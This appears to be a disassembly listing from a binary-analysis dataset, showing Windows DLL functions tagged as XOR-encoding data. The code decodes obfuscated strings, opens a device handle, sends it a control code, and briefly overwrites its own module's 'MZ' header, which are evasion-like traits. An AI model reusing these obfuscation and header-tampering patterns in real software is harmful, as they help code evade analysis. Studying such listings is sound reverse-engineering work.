Function at 0x1800340f0
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0xa0
mov edi, ecx
xor esi, esi
mov rcx, qword [0x1803ad500]
mov rbx, rdx
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x180033db3
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, esi
movups xmm0, xmmword [0x180183898]
movzx eax, word [0x1801838c0]
movups xmm1, xmmword [0x1801838a8]
mov word [rsp + 0x78], ax
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x1801838b8]
movsd qword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x60], xmm1
jl 0x180033d2c
movdqa xmm5, xmmword [0x180187330]
lea rdx, [r11 - 0x58]
movdqa xmm4, xmmword [0x180187600]
movaps xmmword [r11 - 0x18], xmm6
movdqa xmm6, xmmword [0x180187390]
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x180187490]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm5
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x10
jl 0x180033c30
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x90]
cmp ecx, 0x15
jge 0x180033d71
movsxd rax, ecx
lea r8, [rsp + 0x50]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 2]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x32
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x38
xor word [r8 - 2], ax
cmp ecx, 0x15
jl 0x180033d40
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
lea rcx, [rsp + 0x50]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, rax
mov qword [0x1803ad500], rax
dec rax
cmp rax, 0xfffffffffffffffd
jbe 0x180033db3
mov eax, 1
jmp 0x180033e25
mov dword [rsp + 0x48], esi
lea rax, [0x1803ad4e8]
mov qword [rsp + 0x40], rsi
lea r10, [0x18019f3d8]
mov dword [rsp + 0x38], 0x50
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], 0x221998
xor edx, edx
mov qword [rsp + 0x20], rax
mov dword [rbx + 0x44], edi
call r10
mov ebx, eax
cmp edi, 0x666
jne 0x180033e23
test eax, eax
je 0x180033e23
cmp eax, 0x25
je 0x180033e23
mov rcx, qword [0x1803ad500]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x180033e23
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [0x1803ad500], rsi
mov eax, ebx
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov edi, ecx
xor esi, esi
mov rcx, qword [0x1803ad500]
mov rbx, rdx
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x180034059
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, esi
movups xmm3, xmmword [str.d_MU_c]
movzx eax, word [0x180183918]
movsd xmm0, qword [0x180183910]
movups xmmword [rbp + 7], xmm3
mov word [rbp + 0x1f], ax
movsd qword [rbp + 0x17], xmm0
jl 0x180033f8a
movdqa xmm2, xmmword [0x180187330]
mov ecx, 8
movdqa xmm4, xmmword [0x180187600]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187390]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movq xmm1, xmm3
movdqa xmm3, xmmword [0x180187370]
paddw xmm2, xmmword [0x180187490]
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movq qword [rbp + 7], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187390]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0xf]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x180187490]
xorps xmm2, xmm0
movq qword [rbp + 0xf], xmm2
movsxd rax, ecx
lea r8, [rbp + 7]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 2]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x32
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x38
xor word [r8 - 2], ax
cmp ecx, 0xd
jl 0x180033fa0
xorps xmm0, xmm0
mov dword [rbp + 0x2b], esi
lea rdx, [rbp + 7]
mov dword [rbp + 0x43], esi
lea rcx, [rbp - 0x19]
movups xmmword [rbp - 0x19], xmm0
movups xmmword [rbp - 9], xmm0
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp - 0x19]
mov dword [rsp + 0x28], 0x40
xorps xmm0, xmm0
mov qword [rbp + 0x37], rax
lea r9, [rbp - 9]
mov dword [rbp + 0x27], 0x30
lea r8, [rbp + 0x27]
mov qword [rbp + 0x2f], rsi
mov edx, 0x12019f
mov dword [rbp + 0x3f], 0x40
lea rcx, [rbp + 0x77]
mov qword [rbp + 0x77], rsi
movdqu xmmword [rbp + 0x47], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.ntdll.dll_NtOpenFile]
mov rcx, qword [rbp + 0x77]
mov qword [0x1803ad500], rcx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
jbe 0x180034059
mov eax, 1
jmp 0x1800340cb
mov dword [rsp + 0x48], esi
lea rax, [0x1803ad4e8]
mov qword [rsp + 0x40], rsi
lea r10, [0x18019f3d8]
mov dword [rsp + 0x38], 0x50
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], 0x221998
xor edx, edx
mov qword [rsp + 0x20], rax
mov dword [rbx + 0x44], edi
call r10
mov ebx, eax
cmp edi, 0x666
jne 0x1800340c9
test eax, eax
je 0x1800340c9
cmp eax, 0x25
je 0x1800340c9
mov rcx, qword [0x1803ad500]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x1800340c9
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [0x1803ad500], rsi
mov eax, ebx
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
push rbx
sub rsp, 0xc0
mov r8d, dword [0x1803ad508]
mov rbx, rdx
mov dword [rdx + 0x44], ecx
sub r8d, 1
je 0x18003433c
sub r8d, 1
je 0x18003432f
sub r8d, 1
je 0x18003432f
cmp r8d, 1
je 0x180034138
mov eax, 0x2f9cb3ce
add rsp, 0xc0
pop rbx
ret
mov qword [rsp + 0xb8], rbp
xor ebp, ebp
mov qword [rsp + 0xb0], rsi
mov dword [rdx + 0x4c], 0x458
mov rsi, qword gs:[0x50]
mov qword [rsp + 0xa8], rdi
mov edi, dword [0x1803ad4e0]
mov qword gs:[0x50], rbx
cmp byte [0x1803ad4e4], bpl
jne 0x1800341c5
cmp byte [0x1803adc98], bpl
jne 0x1800341b9
xor ecx, ecx
mov byte [0x1803adc98], 1
mov dword [rsp + 0xd0], ebp
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, 4
lea r9, [rsp + 0xd0]
mov r8d, edx
mov qword [0x1803adc88], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [0x1803adc88]
mov word [rax], 0x4855
lea eax, [rdi - 1]
mov rdi, qword [rsp + 0xa8]
cmp eax, 6
ja case.default.0x1800341ec
lea rdx, [0x180000000]
cdqe
mov ecx, dword [rdx + rax*4 + 0x3434c]
add rcx, rdx
jmp rcx
call fcn.180032e60
jmp case.default.0x1800341ec
lea rdx, [0x180141254]
lea rcx, [rsp + 0x58]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rsp + 0xe8]
mov dword [rsp + 0xd8], ebp
mov r9d, 0x25
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0xd8]
xor edx, edx
lea rcx, [rsp + 0x58]
call qword [sym.imp.ntdll.dll_NtQueryLicenseValue]
jmp case.default.0x1800341ec
mov qword [rsp + 0x48], rbp
lea r8, [rsp + 0x68]
mov qword [rsp + 0x40], rbp
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x38], ebp
xorps xmm0, xmm0
mov dword [rsp + 0x30], ebp
xor r9d, r9d
mov dword [rsp + 0x28], ebp
mov edx, 0xffffffff
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x68], 0x30
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x70], rbp
mov qword [rsp + 0x78], rbp
movdqu xmmword [rsp + 0x88], xmm0
call qword [sym.imp.ntdll.dll_NtCreateTransaction]
jmp case.default.0x1800341ec
call fcn.1800333e0
jmp case.default.0x1800341ec
call fcn.180033130
jmp case.default.0x1800341ec
call fcn.180033670
jmp case.default.0x1800341ec
call fcn.1800338f0
mov qword gs:[0x50], rsi
cmp byte [0x1803ad4e4], bpl
mov rsi, qword [rsp + 0xb0]
jne 0x18003431b
cmp byte [0x1803adc98], bpl
jne 0x18003430f
xor ecx, ecx
mov byte [0x1803adc98], 1
mov dword [rsp + 0xe0], ebp
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, 4
lea r9, [rsp + 0xe0]
mov r8d, edx
mov qword [0x1803adc88], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [0x1803adc88]
mov word [rax], 0x5a4d
mov eax, dword [rbx + 0x4c]
mov rbp, qword [rsp + 0xb8]
add rsp, 0xc0
pop rbx
ret
add rsp, 0xc0
pop rbx
jmp 0x180033b90
add rsp, 0xc0
pop rbx
jmp 0x180033e40